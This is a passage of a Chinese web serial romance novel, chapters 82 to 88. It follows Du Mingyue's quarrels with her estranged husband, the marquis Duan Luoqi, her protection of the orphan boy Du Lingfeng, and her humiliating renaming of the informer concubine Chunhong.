段骆岐伸手,不由分说的落在杜凌风的肩头,“要不要跟我们回到段府一起生活,那是大宅子,比这里气派多了,条件也好多了,你要去了,以后也是小少爷了,什么事情都不用伸手做,有的是人伺候你。” 段骆岐说着这些他自以为的优点,想要试图诱惑杜凌风,却没想到杜凌风听了这些并不高兴,甚至将他放在自己肩头的手挪开了。 “不,我不去,我喜欢这里,我要继续留在这里。”杜凌风的态度十分坚定,并没有因为段骆岐的话,有丝毫动容。 “这……”段骆岐讪笑的看看他,又看看杜明月,像是希望她能开口帮自己说几句话一般。 “让你去,是看得起你,你还摆上架子了!一个臭要饭的,还真当自己了不起了!” 段骆岐没有等到杜明月开口,却等来了段骆霖阴阳怪气的怒骂,他脸色一尬,转头又狠狠瞪了段骆霖一眼。 今日这段骆霖也不知道怎么回事,好像对眼前这个孩子敌意极大,简直像是不可调和一般,每次他看向杜凌风,眼底满是汹涌的怒意和恨意。 他在恨什么? 这个念头在段骆岐的脑海中一闪而过,但自己又觉得太夸张了,段骆霖一定是在替自己生气,是他想的太复杂太夸张了,没错,一定是他看错了。 这么一想,段骆岐也不知为何心中暗暗松了一口气,他转头看向段骆霖安抚道,“霖儿,我知道你是想替我出气,可这件事不是已经弄清楚是误会了吗?你也不要总这么大的敌意。” “我……”段骆霖下意识的想要开口辩解,但话到了嘴边,却又突然愣住了。 是啊,这是个误会啊,可是他怎么会这么生气。 段骆霖一时想不明白,只当自己是太过冲动,又被众人骂了,心有不甘,心气不顺,于是只能深深叹口气,闭上嘴不再说话了。 第八十三章 莫名烦躁 段骆岐见段骆霖终于消停了,这才暗暗松了口气。 他转头看向杜凌风,继续一脸讨好道,“你真的不和我们一起回去吗?要不你再考虑考虑。” 段骆岐见杜凌风两手紧紧的攥成小拳头,眼神里没有丝毫动摇的模样,只能叹了口气,退而求其次。 他道,“那这几日,你住在这里,若是有任何不方便的,或者需要任何东西,都大可以去找我,我一定都满足你。” 段骆岐正欲直起身子,却听到杜凌风脆脆的开了口,“我什么都不要,我只要你们把砸坏的东西赔给我。” 段骆岐一愣,正要开心的答应,却只听杜凌风冷冷的强调着,“要十倍赔偿。刚才你十倍赔了邻居们的损失,按道理,我也必须得收到十倍的赔偿。” “……”段骆岐微微蹙眉,心头一顿无语,没想到杜凌风竟然是这样的孩子,斤斤计较,睚眦必报,真不愧是杜明月收养的孩子。 而此时杜明月也一脸满意和欣慰的看向杜凌风,眉眼温柔,带着欣赏和赞许。 真不愧是她看中的孩子,之前面对段骆岐的利诱,能够坚守自己的立场和本心,没有受到任何影响,现在又能清楚的将自己的需求讲出来,敢于反击,不吃一点哑巴亏。 杜明月心中暗暗松了口气,这样的话,他日后不管走到哪里,也都能自己保护自己了。 抬眸间,杜明月的目光不经意从段骆岐和段骆霖脸上扫过,忍不住感叹,她其实看人眼光一直很好的,怎么偏偏看错了他们。 杜明月有一瞬间的恍惚,回到了自己当初为了报答救命之恩,四处追着段骆岐跑的场景。 或许,她也并未看错段家人,只是当初她太想报答段骆岐的救命之恩了,因此对他们一再宽容忍让。 直到段骆岐触碰了她不能原谅的底线,她不再容忍,这些人也不再伪装,她才能看清这些人摘下面具后,背后到底是一张张怎样贪婪丑恶的嘴脸。 “好,我十倍赔你就是了。” 段骆霖说话的声音,将杜明月从自己的思绪中拉了回来。 杜明月缓缓上前,眼底依然淬着寒意,开口道,“这些东西,是我替他采买的,凌风年纪小,可能记不清,我来给你写账单。” “这……”段骆岐一听到杜明月说她要写账单,就觉得一阵胸闷心慌,感觉脚下都软了,有些两眼发黑。 杜明月写账单索要赔偿已经不是一次两次了,哪一次她不是列了长长的账单,让他赔一大笔钱。 一想到这里,段骆岐已经感觉到有些心痛的喘不上气来了。 他低头看向杜凌风,以为他会正直的说两句,谁知道他果然和杜明月是一丘之貉,立马朝着自己点了点头,十分赞同杜明月的话。 “好,你写。”段骆岐压低声音,几乎是咬牙切齿的将这几个字吐出来的。 杜明月很快用杜凌风拿来的毛笔在草纸上列好账单,让红豆交给段骆岐时,段骆岐只是无奈的捏着眉心,并未讨价还价,而是直接收下了。 红豆正疑惑他今日怎么不讨价还价了,就看到他抬眸对杜明月一脸讨好道,“明月,我也答应会十倍赔偿了,既然凌风不愿意和我们一同回去,那你和我回去吧。” 杜明月冷冰冰的看着他,红豆也不屑的撇了撇嘴,段骆岐只能硬着头皮道,“我刚才进来巷子时,已经让你的马车走了,现在巷子口只有我的马车,我不舍得你走那么远回去。” 虚伪! 杜明月暗暗攥紧了袖子里的手,强忍住想一巴掌直接打在他脸上的冲动。 既然如此,杜明月也懒得和他废话,转身朝着段府的马车走去。 反正她现在又不在意段骆岐,和她同乘一辆马车,受折磨的也是段骆岐,段骆岐喜欢给自己添堵,那她没意见。 回去的马车里,段骆霖自己远远的坐在里面的角落,杜明月坐在靠近车门的一边,段骆岐则故意坐在她的身边。 一路上,段骆岐故意有事没事的想和杜明月搭话,但杜明月好像铁定了心不理他,不管他说什么,杜明月就是一个字也不回,一个眼神也不给。 段骆岐都说得有些口干舌燥,怒气腾腾的,但杜明月依然充耳不闻,甚至干脆闭眼假寐了起来。 最后还是段骆霖实在看不下去,终于忍不住蹙眉道,“大哥,别说了,能不能安静的让我们呆一会啊。” “你!”段骆岐被他的话一噎,恨不能直接起来揣他一脚。 段骆岐咬牙狠狠瞪着段骆霖,伸手一指,像是在提醒他,今日一切都是因他而起,是他给他收拾了烂摊子! 段骆霖看懂了他的暗示,莫名的烦躁,叹了一口气,将自己贴着车厢坐好。 段骆岐正要再次开口,马车外突然传来了红豆略显开心的声音。 “主子,到了。”随着红豆的话音落下,马车也缓缓停稳了。 杜明月猛地睁开眸子,甚至在段骆岐还未反应过来时,她已经动作迅速的掀开轿帘,扶住红豆伸过来的手,稳稳的离开车内,下了马车。 “明……”段骆岐张了张口,还想叫住杜明月,然而他话还未说出口,杜明月早已经进了大门,好像身后有什么野兽追赶似的,走得飞快。 段骆岐十分沮丧的下了马车,回头看着刚刚下马车的段骆霖狠狠道,“跟我来。” 段骆霖应了一声,心不甘情不愿的跟上了他的脚步,一路低着头进了书房。 书房的门刚刚被关上,他一转头,还没来得及看清眼前的人,就被段骆岐狠狠一脚踹在小腿上。 段骆霖吃痛的抬头,立马对上了段骆岐那双愤怒的眸子。 “大哥,你干什么。”段骆霖不满的控诉,然而却引得段骆岐又狠狠地多踹了他几脚。 “你还问我干什么,你怎么做事总是这么不长脑子,这么冲动!太莽撞了!” 段骆岐指着他就骂了起来,“你怀疑,你不会先偷偷调查一下,你这样直接冲进去,又砸又闹,还引起了民愤,我倒要问问你,你这是在干什么!” 第八十四章 你是听不懂人话吗 段骆岐气的嗓子都哑了几分,他努力克制着自己的怒意,“你要知道,你大哥我现在还被停职呢,你要是再闹出点动静,这不是在上赶着给董丞相递刀子吗?你是要害死我吗!” 听着段骆岐的这一番数落,段骆霖这才意识到自己今日到底做了一件多么蠢的事情,差点酿成了大错。 他有些愧疚的看向段骆岐,张了张口想要道歉,段骆岐却大手一挥道,“算了,你什么都不用说了。” 段骆岐见段骆霖脸上真的有了后悔的神色,这才缓和了口气道,“我知道你要说什么,左右今日的事情,我已经替你摆平了,只是你日后要长记性!” 段骆霖点头,眼底闪过一丝悔意,今日他确实冲动了,可他一想到杜明月那冷冰冰,对自己不理不睬,无动于衷的模样,心中还是有些烦闷和恼意。 只是这些莫名的情绪他现在也理不清,只当是替自己的大哥段骆岐不值,好在今日的事,段骆岐好像确实不生气,那他也没有继续纠结下去的必要了。 “不过,话说回来,这个杜凌风到底是突然从哪里冒出来的?要是真的只是个小乞丐也就罢了,就怕有些人别有用心,故意用这个孩子绊住杜明月。” 段骆岐蹙眉陷入了深思,片刻之后,抬头对段骆霖道,“你去查查,今日之内,务必回来告诉我,另外切记不要再鲁莽行事了!” 段骆岐不放心的一再叮嘱,段骆霖一一点头应下。 这一次,段骆霖确实没有再惹事,而且很快打听到消息回来了。 书房里,段骆霖的脸上是掩饰不住的喜色,“大哥,那孩子确实只是个单纯的乞丐,是个孤儿,在京城没有家人,是上次带川儿去书院,她一个人在书院后的小巷子里捡到的。” 至少,现在能证明,杜明月只是单纯可怜小乞丐,而收养了他,没有其他别的什么原因。 这个认知,让段骆岐和段骆霖都高兴了起来。 “那这就好办了,明月她最近在府里一直冷情冷性,看起来也像是没什么牵挂似的,更不愿意待在府里。” 一说起他和杜明月最近的相处,段骆岐就觉得有些头疼,心中干着急,却无力改变现状。 “既然她这么在乎这个孩子,那咱们就把他带回来,这样一来,你大嫂高兴了,日后也一定愿意在家里久呆了。” 段骆岐双眼发亮,对自己的这个想法甚至感觉到了一丝兴奋,他好像找到缓和他与杜明月之间关系的办法了。 段骆霖看着段骆岐如此高兴,心中替他高兴的同时,不知为何,我有些闷闷的,还是没有任何缘由,突如其来的。 段骆霖微微蹙眉,觉得恐怕是近来没有休息好导致的,也便没往心里去。 “确实是个好主意。”段骆霖声音闷闷的附和着,段骆岐听了心里就更加高兴了。 “我去找你大嫂,这次一定说服她将那孩子带回来。”段骆岐迫不及待的说完,便迈出书房的门槛,大步流星的走了。 摘月居。 杜明月正掂着红豆从老夫人那里拿来的赔偿,满意的勾唇,之后将钱袋子又交到了红豆的手上。 “明日把这钱袋子给凌风,让他留着备用,再去找富贵叔,让他看看凌风那里还有什么需要重新买的,都一并给凌风置办好。” 红豆收了钱袋子,脆生生道,“是,主子。” 她的话音刚落,段骆岐已经大步走了进来。 “不用置办了。”段骆岐或许并不知道他一开口就惹人讨厌,但他好像没有意识到这一点,还在滔滔不绝的说着。 “明日我亲自去,一定把凌风接到咱们府上,让他以后就住在这里,这样你要照顾他也方便对不对?” 段骆岐朝着杜明月露出几分讨好的面容,“明月,你想收养他,我真的没有意见,还很高兴,我答应你,明天无论用什么方式,哪怕用绑的,也一定会把他带回来的。” 段骆岐本以为他这么说,杜明月会高兴,但没想到杜明月不仅不高兴,脸上甚至染上了一抹愠怒。 杜明月那双凤眸中溢满了对段骆岐痛恨,她紧紧的攥着袖子下的双手,质问道,“段骆岐,你是听不懂人话吗!” “那孩子说了不想来,你为什么非要他来!收养杜凌风是我自己的事,和你没有任何关系!我也绝不会同意你把他带回来的!” 杜明月一字一顿,每一句话都说的掷地有声,不容任何人质疑和反驳。 段骆岐被她坚决又愤怒的样子震慑到,愣了片刻,才结结巴巴的道,“我……我以为你会喜欢……我……” “够了!不要再把你的那套想法强安在别人身上了!”杜明月厌恶的看了段骆岐一眼,接下来的话,普通一千根针扎在身上一般,让段骆岐心口一滞,说不出话来。 “怎么?还是说,你想把杜凌风接近府里,让他变成和段意川一样,成为第二个傻子吗!” 杜明月的声音陡然尖锐了几分,让段骆岐感觉到耳边传来钻心的疼痛。 “傻……傻子吗?”段骆岐不知为何,突然有些沮丧和难过。 他不敢置信的抬头看向杜明月道,“你怎么能那么说呢,川儿是我的儿子,他还那么小,现在只是背书慢了一些,你怎么能说他是傻子呢……他他不是傻子……” 杜明月冷眼瞧着段骆岐大受打击,似乎有些语无伦次的样子,忍不住冷笑道,“怎么不愿意承认?接受不了?” 杜明月目光直直的盯着段骆岐,眸子里有一种勾人摄魄的美丽,但又有一种让人觉得胆颤的威压和逼迫。 “接受不了,你就好好一门心思养好你自己的儿子!不要管别人的事!杜凌风是我要收养的,是好是坏,我都会负责!不需要你操心!” 杜明月明眸皓齿,可现在看向段骆岐的模样却透着一股狠意,她咬牙切齿道,“我警告你,不要把杜凌风拉到我们中间,我不想因为你的自私让他受到哪怕一丁点的伤害!” 或许是杜明月的气场过于强势,段骆岐竟然完全忘记开口辩解,只是下意识的咽了咽口水,认真的点头回应她的话。 第八十五章 我们再要一个 杜明月看着愣愣的段骆岐,不满的眯了眯眸子,转身一甩袖子,自顾自的在书案前坐下了。 “既然侯爷都听懂了,那没什么事,就请吧。”杜明月做出一副送客的模样,一脸嫌弃,过了片刻,她仍不见段骆岐有离开的意思,便对红豆道,“红豆,送客。” “是,主子。”红豆一副看起来恭敬,其实心里已经将段骆岐骂了八百遍的模样,转过身去,对着段骆岐道,“侯爷请吧。” 回过神来的段骆岐像是突然想起了什么,不仅没有了刚才的沮丧,甚至带着几分憧憬和开心,眸子都亮了起来。 “不将杜凌风那孩子带回来可以,我听你的。”段骆岐故意往杜明月跟前凑了凑道,“但你既然这么喜欢孩子,不如我们要一个我们自己的孩子怎么样?” “我相信我们亲生的孩子,一定能继承我们所有的优点,日后也一定可以继承家业,将咱们这镇南侯府继续发扬光大!” 段骆岐越说越兴奋,甚至已经能够想象出他抱着刚出生的孩子的场景。 甚至,他一想到,因为这个孩子,他能和杜明月重新变得亲近,就更加开心了,神采奕奕的看着杜明月,将她刚才对自己的讥笑嘲讽完全都抛之脑后。 段骆岐满心期待的想等杜明月点头,半晌,却没有看到他期待的反应,等来的只有杜明月猛地起身,将他一把推开。 丝毫没有防备的段骆岐被他推得一个趔趄,他不解的看向杜明月,不知道她哪里来的这么大的火气。 “段骆岐!”杜明月一伸手,愤怒的指向段骆岐,大声道,“你要是忘了,我可以再提醒你一次!” “我们都已经和离了!和离书都写好了!你也已经签过字了!” 杜明月气得心口起伏,她看着段骆岐一字一顿的说道,“现在也是时候了!把和离书给我!我保证马上离开这里,绝不碍你的眼!” 段骆岐一愣,心口莫名抽痛,他不禁皱着眉头,十分无奈又无力的说道,“我们在说要孩子的事情,你怎么又提这件事……” “你要生孩子,你去找别的女人!”杜明月忍无可忍的声音又尖锐了几分,看向段骆岐的眼眸中满满的厌恶和嫌弃,“段骆岐,你能不能不要恶心人,不要装傻!” “这不是两件事!这是一件事!你觉得我都跟你和离,还会和你生孩子?”杜明月突然气笑,她冷眼瞧着段骆岐道,“还是在你心里,你就这么看轻我?我说的话就这么没有分量?” “不是!你怎么说到这上面来了。”段骆岐眼看着两人的关系好像又恶化了几分,急忙解释道,“我从未看轻你啊!” “既然没有!那就滚!”杜明月已经不想再听他说一个字,和他站在一起都觉得恶心,她抬手一指大门道,“滚!永远不要妄想我会原谅你!我嫌恶心!嫌你脏!” “你!”段骆岐一愣,没想到杜明月竟然能对他骂出这么难听的话,一时语塞,不知道该如何反驳,只能气得一甩袖子转身离开了。 “不可理喻!”段骆岐心中有气不吐不快,出门前,到底还是撂下了一句狠话。 然而这句话对杜明月来说,却如隔靴搔痒,根本没有任何杀伤力,得到的,只有杜明月一个不屑的白眼。 “红豆,你去将春姨娘叫来。”杜明月坐下后,缓缓拿起茶杯啜了一口清茶,像是突然想起了什么,抬头看向红豆。 红豆点点头,却又看她脸色不佳,忍不住不解的问道,“主子,怎么了?” “今日咱们出门时,只碰见了她,段骆霖和段骆岐能适时的出现,精准的找到咱们的马车,这事儿八成和她脱不了干系。” 杜明月眼神深沉,冷静的分析着。 红豆听到这话,一惊道,“主子您的意思是,春姨娘告密,她之前过来,不是还口口声声说会对主子您忠心吗?她怎么……” 红豆越说越气,一想到春红在杜明月面前谄媚、虚伪的模样,以及她在背后下作的告密,就气得牙根痒痒。 她将手指掰得咯吱作响,“主子,我马上就将人带来!要是有需要,我一定好好揍她一顿给你出气!” “揍她倒不至于。”杜明月眉眼微抬,眼眸中一片清冷和威仪,“我自有办法对付她。” 红豆闻言,立马露出了笑容,开开心心的去春红院里,将她带了过来。 两人还未进屋,杜明月就听见了红豆的声音。 “走快点!磨磨蹭蹭的干什么!”红豆不满的瞪了春红一眼,回头催促,看见春红眼底的局部不安,脸上更是写满了嫌弃。 “姐姐……不,夫人,我错了!” 春红双脚才刚刚迈进屋子,一看到杜明月那张冷冰冰的脸,直接朝着她跪了下来。 跪着的春红脸上写满了忐忑不安,但那双眼睛却一直滴溜溜的转着,替自己寻找辩解的托辞。 “春姨娘,我还什么都没说呢?你这又是下跪,又是认错,是为了什么啊?”杜明月眉梢一挑,好整以暇的看着她。 春红闻言一愣,脸上谄媚的笑容的也凝固了,直到此时她好像又意识到了不对劲。 是啊,杜明月还什么都没说呢,自己怎么就心虚的不打自招了。 春红的眼珠子转得飞快,一脸的懊悔,心里暗暗想着:早知道就不主动承认了。 “是……是我糊涂了。”她讪讪的笑着,就准备自行起身。 而此时,杜明月才突然敛去眼底的笑意,冷着一张脸,十分严肃带着压迫感开口道,“跪下!” 这一声呵斥,吓得春红浑身一颤,来不及反应,立马双腿再次结结实实的跪下了。 “既然你都自己承认有错了,那你先说说你究竟何错之有吧。”杜明月勾唇,饶有兴致的看着她这副战战兢兢的模样。 春红见事已至此,只能硬着头皮承认道,“是,奴婢确实做了错事,但我这么做,都是为了帮助夫人啊!” “嗯?仔细说说看。”杜明月冷笑出声,端起茶杯不慌不忙的示意她继续往下说。 第八十六章 改名叫春旺吧 春红见杜明月脸色缓和,心中暗暗松了一口气,以为杜明月当真相信了自己,这才咽了下口水,继续开口解释。 “上次帮夫人偷和离书没偷成,这件事一直压在我心里,这几日我茶饭不思,就在琢磨这件事。” 春红绘声绘色的讲着,一副自己真的替杜明月着急忧心的模样。 “这几日,侯爷去我那里的次数也明显少了很多,不如从前。”春红微微蹙眉,声音放缓了一些,认真道,“我就想着这样可不行啊。” 春红说着说着,好像又意思到了什么,急忙替自己找补道,“毕竟侯爷若是来的次数少了,那我想替夫人打听和离书的事情恐怕就难了。” “所以,为了重新得到侯爷的信任和重视……”春红抬眸望着杜明月讪讪的笑道,“我决定假意向侯爷投诚。” 杜明月安静的听她诉说,指尖似无意的摩挲着杯口,微微出神,静静的思索。 “你的意思是,你为了投诚,所以才出卖了我?”杜明月清冷的声音缓缓响起,声音低沉,不知为何,春红却听出了一种质问,感受到了她迫人的寒意,浑身忍不住抖了一下。 春红吓得急忙伏在地上,颤着声音求饶。 “侯爷确实关注夫人的动向,但奴婢也并未多说什么,只把一些最细枝末节的消息告诉了侯爷!”春红急忙替自己辩解。 “哦,是这样啊?”杜明月微微上扬的语调里,带着一丝嘲讽和好笑。 “你的意思是,我还要夸奖你的机智、聪明!”杜明月的声音瞬间冷了下来,眼底也如淬了寒冰,她冷冷的一摔杯子,站起身来。 杯子落地破碎发出的清脆声响,吓得春红将上半身伏得更低了,她甚至不敢抬头去看杜明月的眼睛。 “很好,你真是很聪明,知道替我着想!”杜明月有些微微的怒意。 她看向地上看似坦诚求饶的春红,但其实她心中明白,春红做这些,只是为了她自己。 当初胸有成竹、口口声声说着要替自己拿回和离书,不过是仗着那看守书房的小厮是她同乡,她以为自己能得手,可在那小厮死后,她见不能偷得和离书,干脆想要倚靠段骆岐在这府里风生水起。 但奈何段骆岐又偏偏看不上她,她无法忍受自己被一日一日的冷落下去,只能病急乱投医,干脆做起了告密的事情,只是为了在段骆岐那里证明她还有些价值。 杜明月心中冷笑,春红心中的那点花花肠子,她早就看透了。 只可惜春红自己却不明白,她这样做,只会加速让自己成为毫无价值的人,恐怕段骆岐很快变会抛弃她。 “既然你做事这么细致周到,那你有没有考虑过……”杜明月缓缓走向春红,居高临下道,“你现在已是姨娘了,名中一个红字,和丫鬟红豆相同,这可不好,得改了才好。” “嗯?”春红疑惑的抬头,不解的看向杜明月,不明白她为何不继续追究自己告密的事,却突然提起什么重名不重名的事。 “是。”春红回过神来,只能低声附和,“但凭夫人赐名。” 春红的姿态放得很低,对自己即将要改名字这件事也不是很在意,左右只有一个红字重复,估计改什么也都是春姨娘,所以她完全不担心,也没有察觉到丝毫的不对劲。 “既然你同意改名,那……”杜明月一挑眉,故意将话语停顿,卖了个关子道,“就叫春旺吧!” “是,奴婢以后就叫春旺……”对自己改名一事并不上心的春红下意识的答应,然而等名字一说出口,她终于察觉到哪里不对劲了,“春……春旺?” 她猛地抬头,震惊的看向杜明月,一脸的不敢置信,直到看到杜明月眼中的戏谑之意,才猛然惊觉杜明月就是故意戏弄作践她。 杜明月此时心满意足的点头,“没错,春旺,就类似旺财、来福一类的,图个喜庆好听。” 杜明月勾唇,看着春红气得涨红了脸。 春红心中暗暗咬牙切齿,杜明月竟当真要用这些狗的名字来作践自己。 “夫……夫人,这不妥吧。”春红不甘心,有些急了,脸上的笑容都显得有些僵硬了,她试图说服杜明月改变想法。 “这名字传出去也不好听啊,好……好歹,我也是府里的姨娘啊……” “姨娘怎么了!”杜明月脸上的笑容瞬间消失,冰冷的看着春红道,“别忘了,我早同你说过,只要我还没有拿到和离书,那我便是这府里的当家主母!” “赐名这种事,我想改变改了,不要说叫你春旺,就是真的叫你财旺,你也要受着!” 杜明月的口气中带着不容置疑的威严,春红浑身一瘫,无力的坐在地上,她知道她只有接受的份了,从今日她竟然就要叫“春旺”这个带有侮辱性的名字了。 春红的心里升起一抹不甘和恨意,但还未抬头对上杜明月的眸子,就听到杜明月那冷冰冰的警告在耳边响起。 “你那点花花肠子别以为我看不出来,你想打小算盘,我不在意也不拦着,但你要把主意打到我头上,你就要先想好,能不能承受得起相应的后果!” 春红脊背发凉,浑身不住的抖了抖,不敢抬头,只能缩着肩膀点头回应。 “是……”春红说话的声音都不敢大一丁点,生怕再惹怒了杜明月。 杜明月淡淡的看着她,今日气也出过了,人罚也罚过了,再让她继续待在这里,就是在给自己找不痛快了。 “我也乏了,春旺你回去吧。”杜明月注视春旺战战兢兢的起身,又对红豆道,“红豆,你去告诉大家这个好消息,春姨娘有新的名字了。” “好嘞!主子,我马上去!”红豆强忍住想要大笑的冲动,脚下跑得飞快,一溜烟就不见了人影。 “别……”春旺下意识的想要阻止,但伸出去的手还没有摸到红豆的衣角,红豆就跑到了院子里,她根本追都追不上。 春旺无力的垂下手臂,脸色黑如锅底,十分沮丧和无力,一副欲哭无泪的模样,直到杜明月的声音响起,她才再次回过神来。 第八十七章 跟狗的名字一样 “怎么还不走?”杜明月疑惑不满的声音响起。 春旺急忙应着,“这就走,这就走。” 春旺一路踉跄着出了门,一路跌跌撞撞的,耳边都是府里那些丫鬟偷偷取笑她的声音,她甚至不知道自己到底是怎么回到自己屋里的。 “杜明月!”春旺眼里闪着愤恨的火苗,压抑着声音低吼着,将双手紧紧的攥着,一气之下,抬手将桌上的物品打落在地。 就在这时,她又听到门外有两个丫鬟窃窃私语,言语间还夹杂着不屑的笑意。 “春旺,竟然叫春旺。哈哈哈!真的跟狗的名字一样!”一个丫鬟忍不住笑出了声。 另一个丫鬟眉眼间也是嘲笑,但还不忘小声提醒她道,“嘘!别被里面的听见了,她现在肯定正在气头上!” 她话音未落,只见身侧的房门突然被打开,春旺站在门边,神色愤怒脸色铁青的瞪着两人! “你们在这里说什么!”春旺怒吼道,“跪下!” 那两个丫鬟一愣,心有不甘,撇了撇嘴,其中一个丫鬟正要跪下,另一个急忙拉住她不让她跪。 不肯跪的丫鬟理直气壮的开口反驳道,“我们一会要去给老夫人搬屏风,可不能耽误了,若是我们在这里跪下了,那老夫人要责罚,春姨娘替我们承担吗?” “我……”春旺语塞,气急之下,一摆手不耐烦的道,“滚!都给我滚!” 那丫鬟得意的一挑眉,眼中都是对春旺的轻视,拉起一旁的丫鬟,两人双双离开了院子。 恼羞成怒的春旺看着两人消失的背影,气得在院子里发狂跳脚,“好啊,现在谁都看不起我,谁都想踩在我头上是吗?那咱们就走着瞧,到底谁能笑到最后。” 春旺不甘心这样被众人轻视,立马想到了段骆岐。 她知道段骆岐回府了,便脚步匆匆的朝着主院去了,她想让段骆岐替她出气。 直到她进了屋子,看到段骆岐之前,她都信心满满的认为,自己既然已经向段骆岐投诚,成了他的人,那段骆岐一定会维护自己替她出气。 但让她没想到的是,当她看到段骆岐,哭哭啼啼讲述了自己的遭遇后,得到不是段骆岐的维护,却是他不耐烦的挥手,甚至要将自己驱离。 “没眼色的东西!看不到我现在正心烦着吗!屁大点事,难道还想让我给你出头吗?” 段骆岐嫌恶的瞥了一眼春旺,甚至警告她道,“既然是杜氏给你起的名字你就安心受着,要是实在接受不了,直接改名叫春狗吧!” “这……”段骆岐更具侮辱性的话,直接让春旺傻眼了,她没想到自己满心的忠诚,竟然换来的是这样的下场。 段骆岐却根本不在乎她的想法,完全无视了她眼中的震惊、委屈和不甘。 “你不是不满众人都在背后偷偷议论吗,那你就用春狗这么名字,他们一听就都明白了,也就不会在背后议论了!” 段骆岐声音冷的像刀子,一寸一寸割着春旺的皮肤,“选吧,你现在到底要用哪个名字?” 很明显,段骆岐对春旺的耐心已经消失殆尽,明白这一点的春旺红了眼眶,眼中盈着热泪,却也只能咬唇用颤抖的声音道,“春……春旺,妾身还是喜欢夫人起的名字。” 春旺断断续续的说着,嘴上说着喜欢,心里却已经恨毒了杜明月。 “喜欢就行!不要再拿这件事来烦我了。”段骆岐右手撑着额头,不耐烦的挥手,示意春旺离开。 春旺虽然心中不甘,见他今日心情不佳,也只能缓缓起身,后退着离开了。 很快,春旺去找段骆岐替自己出头,却被再次羞辱的事情,很快就在镇南侯府的大小角落里传遍了。 自然,这种笑料也没躲过红豆的耳朵。 红豆一脸好笑的回到杜明月身边,将段骆岐要给春旺改名春狗的事情说了,杜明月先是一愣,随后和红豆对视了一眼,两人都忍不住大笑出声。 杜明月笑得直不起腰来,红豆更是夸张,直接捂着肚子在地上笑得打滚。 “哎哟!好好笑!笑死我了!哎呀,笑得我肚子痛!哈哈哈” 红豆因为笑得太开心,真的笑得肚子痛,因此一会大笑,一会痛苦的哀嚎,断断续续的,声音听起来也十分的好笑。 本来春旺的事情,杜明月笑一笑或许也就算了,现在看到红豆这笑得满地打滚的模样,她的笑容直接收都收不住了。 她伏在桌子上,指着红豆笑道,“春狗好笑,你也好笑…” 杜明月又发出了一阵爽朗的笑声,甚至看到红豆打滚实在太好笑,还情不自禁的拍着桌子笑了一会。 从东宫出来以后,身处在镇南侯府这个偌大的牢笼中,她已经很久没有笑得这么开心了,而且爽朗的笑容还是发自内心的快乐,这让杜明月也有些意外。 原本正哈哈大笑的红豆见状,也忍不住有些心疼的看着杜明月感叹道,“主子,已经很久没有在家里看到您笑得这么开心了,奴婢最近也就只在外面看您露出真心的笑容。” 杜明月的笑容微顿,像是陷入了沉思。 片刻后,她抬头认真的纠正红豆道,“这不是我们的家,等到我拿到和离书从这里离开,我再带你去我们真正的家。” 红豆闻言,一脸憧憬的点点头,目光十分坚定和向往。 “另外,凌风那边,你明日帮我去看看,那孩子虽然沉稳,但毕竟年幼,今日发生的事情,恐让他也受了些惊吓,等过两日我忙完了,再去看看他,你去安排吧。” 杜明月轻声说着,红豆急忙从地上爬起来,一本正经的点头答应着。 三日后,正逢杜凌风学堂休沐,杜明月同红豆一起出门,带了京中最有名的糕点去看他。 因是一大清早就出门,杜明月本打算看过杜凌风之后,便去踏青采蘑菇。 杜凌风乖巧又开心的收下糕点后,得知她有采摘蘑菇的打算,有些不放心,便主动道,“杜姐姐,今日要完成的功课,我已于昨日完成了,要不我今日我同你们一起去吧。” 第八十八章 出门采菌子 杜明月闻言一喜,欣然答应道,“好啊,难得今日天气这么好,在家里闷着,不如出去走走,顺便你教我分辨哪些蘑菇有毒,哪些无毒可食用。” 杜明月眉眼温和,一副真心求教的模样,杜凌风闻言,双眸亮晶晶的看着他,好像自己肩上背了巨大的责任。 他认真的点了点头道,“杜姐姐,你放心,有我在,一定不会让你采到毒蘑菇的。” 杜明月眉眼弯弯,一脸开心的摸了摸他的脑袋,答应道,“好。我们凌风真厉害。” 杜凌风被夸得有些不好意思,微微低下头,有些紧张的攥紧了衣角,似乎是犹豫了许久,终于忍不住抬起头道,“杜姐姐,那日你回去后,他们没有再为难你吧?” 杜明月一愣,望着杜凌风那双干净,充满担心的眸子。心中明白,他这是在担心自己。 “没事,你放心,杜姐姐可不是随便让人欺负的人。”杜明月心中一暖,真好,自从她看清段家人的真面目后,现在留在她身边的,都是真正关心她的人。 杜凌风是,红豆是,富贵叔也是,慕子叙…… 杜明月一愣,像是有些意外,自己会在这时想起慕子叙。 她不禁回忆起那日郊外慕子叙前来救自己的场景,心想着,慕子叙应该也是算是真正关心自己的人吧。 回过神来的杜明月脸颊微微发红,不知道自己为何竟然有些在意这件事。 或许是因那日从东宫出来以后,慕子叙是第一个向处在绝望中的自己伸出援手的人,所以他对自己的意义总归是有些不一样的。 这么一想,杜明月心里就放心多了,没错,仅仅是因为这样而已。 杜凌风见杜明月愣了许久,一直不说话,原本放心的眸子里又添上了一抹担忧,这时红豆急忙道,“真的,小凌风你不用担心。” “主子厉害着呢,回去就大杀四方!把那些人都怼的片甲不留!” 红豆甚至有些自豪的一拍胸脯道,“而且主子身边还有我保护着呢!你红豆姐姐身手可厉害了呢!他们谁也近不了主子的身!” “哇……”杜凌风干净澄澈的眸子里露出了几分羡慕和欣佩,看着红豆的眼睛里感觉都能冒出崇拜的星星来了,“好厉害,我也想学。” 红豆骄傲的一挑眉,一抹鼻子道,“当然可以!日后你练武,不仅能强身健体,还能保护自己和身边的人,多好!” 杜凌风认真的点头,杜明月也在认真的思索着他们的对话,觉得这话确实有道理。 只是杜凌风以前的日子太苦了,现在身子底子还有些弱,得再养一段时间,之后再去考虑这件事。 “不急,来日方长。”杜明月适时的开口,加入他们的对话,“今天,咱们还是采菌子要紧。” 杜明月采蘑菇的热情是发自内心的,想要满足年幼时缺失的体验的心早就按捺不住,蠢蠢欲动了。 红豆闻言,也双眸亮晶晶的,十分兴奋,跟着催促杜凌风道,“对,对,咱们快走吧,我还想着赶紧采完,中午好好大吃一顿呢!” 杜凌风被她们两个急切的模样逗笑,动作也着急了起来,一边转身往灶房跑,一边回头道,“等我一下,我去拿个工具,马上就能出门!” 他话音还未落,已经拿着装了工具的背篓从灶房里跑了出来。 杜明月和红豆低头一看,只见背篓里除了小铲子、小锄头这类挖菌子的工具,另外还有两个小篮子。 杜明月微微一笑,杜凌风果真细心,这两个篮子应该就是他专门替自己和红豆准备的。 在去郊外采菌子的路上,杜明月让红豆和杜凌风与自己一同坐在马车内,三人同乘一辆马车,一路上说说笑笑的,气氛十分欢快和融洽。 